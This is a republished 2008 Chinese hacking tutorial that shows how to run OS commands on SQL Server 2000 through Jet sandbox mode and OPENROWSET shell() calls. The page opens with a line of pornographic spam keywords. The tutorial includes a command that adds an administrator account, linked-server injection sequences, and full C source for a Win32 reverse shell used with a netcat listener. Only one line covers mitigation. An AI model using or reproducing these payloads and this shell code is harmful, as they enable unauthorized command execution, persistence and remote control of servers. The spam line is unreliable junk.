亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

不用xp_cmdshell照樣執(zhí)行命令

 更新時(shí)間:2008年05月15日 22:37:49   作者:  
刪除xp_cmdshell和xplog70.dll不用擔(dān)心,只要保留xp_regwrite就可以執(zhí)行系統(tǒng)命令,擁有一個(gè)dos shell 利用RDS的一個(gè)老問(wèn)題,在IIS 4.0的時(shí)候被廣泛利用,現(xiàn)在好像沒(méi)多少人想得起來(lái)了 主要是由于Jet允許調(diào)用VBA的shell()函數(shù),該函數(shù)允許你執(zhí)行shell命令
利用jet執(zhí)行shell命令比想辦法恢復(fù)xp_cmdshell來(lái)得經(jīng)濟(jì)實(shí)惠,不過(guò)需要猜一下系統(tǒng)路徑
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
解決辦法:
如果不需要RDS支持,請(qǐng)刪除x:\Program Files\Common Files\System\Msadc\msadcs.dll
僅僅修改注冊(cè)表是不夠的,具體看下文詳述

當(dāng)然除了IAS.mdb這個(gè)之外,還有其他的mdb文件也可以,只要文件存在即可
2003的system32下就有兩個(gè):ias.mdb和dnary.mdb
其他系統(tǒng)你可以dir /a /s *.mdb看一下,如果有新發(fā)現(xiàn),歡迎補(bǔ)充

如果有回顯,可以看到執(zhí)行返回結(jié)果,否則需要先判斷主機(jī)OS類型再試
當(dāng)然如果野蠻一點(diǎn),四個(gè)輪流來(lái)一遍也行。

首先開(kāi)啟jet沙盤(pán)模式,通過(guò)擴(kuò)展存儲(chǔ)過(guò)程xp_regwrite修改注冊(cè)表實(shí)現(xiàn),管理員修改注冊(cè)表不能預(yù)防的原因。
出于安全原因,默認(rèn)沙盤(pán)模式未開(kāi)啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權(quán)限,為了方便,這里建議使用sysadmin權(quán)限測(cè)試:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0   禁止一切(默認(rèn))
1   使能訪問(wèn)ACCESS,但是禁止其它
2   禁止訪問(wèn)ACCESS,但是使能其他
3   使能一切

事實(shí)上,對(duì)有DB_OWNER權(quán)限即可執(zhí)行,但是執(zhí)行后面一條語(yǔ)句會(huì)有不同要求,不能直接執(zhí)行,詳見(jiàn)下面語(yǔ)句解釋。

然后利用jet.oledb執(zhí)行系統(tǒng)命令,這個(gè)僅僅需要%SystemRoot%讀權(quán)限即可,還是比較寬松的,所以危害也就相當(dāng)高了
對(duì)于只有DB_OWNER權(quán)限的用戶,需要建立鏈接數(shù)據(jù)庫(kù)的方式來(lái)進(jìn)行訪問(wèn),不允許直接訪問(wèn),至于是否能訪問(wèn)成功,尚未測(cè)試。有興趣的可以自行測(cè)試一下,歡迎補(bǔ)充。
MSDN上說(shuō):
“sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.”
實(shí)際發(fā)現(xiàn)sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin權(quán)限即可執(zhí)行,而DB_OWNER擁有數(shù)據(jù)庫(kù)的全部權(quán)限,理論上應(yīng)該可以成功。

這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

建立鏈接數(shù)據(jù)庫(kù)'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

驗(yàn)證截圖如下(WIN2003 sp1裝MSSQL2K sp3環(huán)境中的測(cè)試效果,使用了sysadmin權(quán)限):


附:
無(wú)法連接數(shù)據(jù)庫(kù)服務(wù)器時(shí)(數(shù)據(jù)庫(kù)一般不對(duì)外開(kāi)放,但一般可以對(duì)外訪問(wèn)),
可以使用反彈dos shell方式,改寫(xiě)成bind shell也很容易,呵呵!
====================== CUT here =======================
//name   : win32 connect back shell source code for nt/2K/xp/2003
//compile   : cl win32cbsh.c   (vc6)
//usage   : 
//on your pc   : nc -l -p {listen port}
//on vitim pc   : win32cbsh {your ip} {listen port}
//warning   : if there's no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
return 0;
}
使用這個(gè)方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin+setupadmin權(quán)限組合

sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin+securityadmin權(quán)限帳戶才能使用,
一般沒(méi)有哪個(gè)管理員這么設(shè)置普通帳戶權(quán)限的

實(shí)用性不強(qiáng),僅作為一個(gè)學(xué)習(xí)總結(jié)吧

大致過(guò)程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗(yàn)證會(huì)出錯(cuò),
我測(cè)試的時(shí)候授予hacker這個(gè)用戶setupadmin+securityadmin權(quán)限,使用ias.mdb失敗
需要找一個(gè)一般用戶可訪問(wèn)的mdb才可以:

EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack','hacker';--
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','hacker';--
exec sp_dropserver 'L0op8ack';--
我的sql2k sp3里面sp_addserverlogin后面要帶用戶名稱,加true/false都報(bào)無(wú)此用戶錯(cuò)誤

呵呵,不過(guò)最終還是失敗了

原來(lái)的過(guò)程也可以注入的,打了sp之后就沒(méi)有了

摘一段T-SQL參考,實(shí)際上這是T-SQL引用異類 OLE DB 數(shù)據(jù)源的兩種方法
openrowset需要sa權(quán)限,想用sp_addlinkserver/openquery突破一下,最終發(fā)現(xiàn)不能成功
============================================
分布式查詢構(gòu)架
Microsoft® SQL Server™ 2000 支持兩種在 Transact-SQL 語(yǔ)句中引用異類 OLE DB 數(shù)據(jù)源的方法,: 

1) 鏈接服務(wù)器名稱 
系統(tǒng)存儲(chǔ)過(guò)程 sp_addlinkedserver 和sp_addlinkedsrvlogin 用于給 OLE DB 數(shù)據(jù)源提供服務(wù)器名稱??梢允褂糜伤膫€(gè)部分構(gòu)成的名稱在 Transact-SQL 語(yǔ)句中引用這些鏈接服務(wù)器中的對(duì)象。例如,如果鏈接服務(wù)器的名稱 DeptSQLSrvr 是用 SQL Server 2000 的另一個(gè)復(fù)本定義的,下面的語(yǔ)句引用該服務(wù)器上的一個(gè)表:

SELECT * FROM DeptSQLSrvr.Northwind.dbo.Employees

也可以在 OPENQUERY 語(yǔ)句中指定鏈接服務(wù)器的名稱以從 OLE DB 數(shù)據(jù)源打開(kāi)一個(gè)行集。之后,可以在 Transact-SQL 語(yǔ)句中像引用表一樣引用該行集。

2) 特殊連接器名稱 
在很少引用數(shù)據(jù)源時(shí),OPENROWSET 或 OPENDATASOURCE 函數(shù)是用連接到鏈接服務(wù)器時(shí)所需的信息指定的。之后,可以在 Transact-SQL 中使用與引用表相同的方法引用行集:

SELECT *
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
    'c:\MSOffice\Access\Samples\Northwind.mdb';'Admin';'';
    Employees)

SQL Server 2000 使用 OLE DB 在關(guān)系引擎和存儲(chǔ)引擎之間通訊。關(guān)系引擎將每個(gè) Transact-SQL 語(yǔ)句分解為一系列操作,這些操作在由存儲(chǔ)引擎從基表打開(kāi)的簡(jiǎn)單 OLE DB 行集上執(zhí)行。這意味著關(guān)系引擎也可以在任何 OLE DB 數(shù)據(jù)源上打開(kāi)簡(jiǎn)單 OLE DB 行集。
1.exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engine\SandBoxMode',REG_DWORD,0 寫(xiě)一個(gè)注冊(cè)表的值,開(kāi)啟Access沙盒模式。也就是可在非Application里執(zhí)行的功能。
2.用OpenRowSet打開(kāi)一個(gè)Access文件.在%windir%\system32\ias里有4個(gè)這樣的文件。隨便拿來(lái)用
3.執(zhí)行的函數(shù)如下
Function Shell(ByVal Command As String) As Long

本文來(lái)源于[捌度空間],原文鏈接:http://www.8-du.net/Article/2008/0514/article_40240.html

相關(guān)文章

最新評(píng)論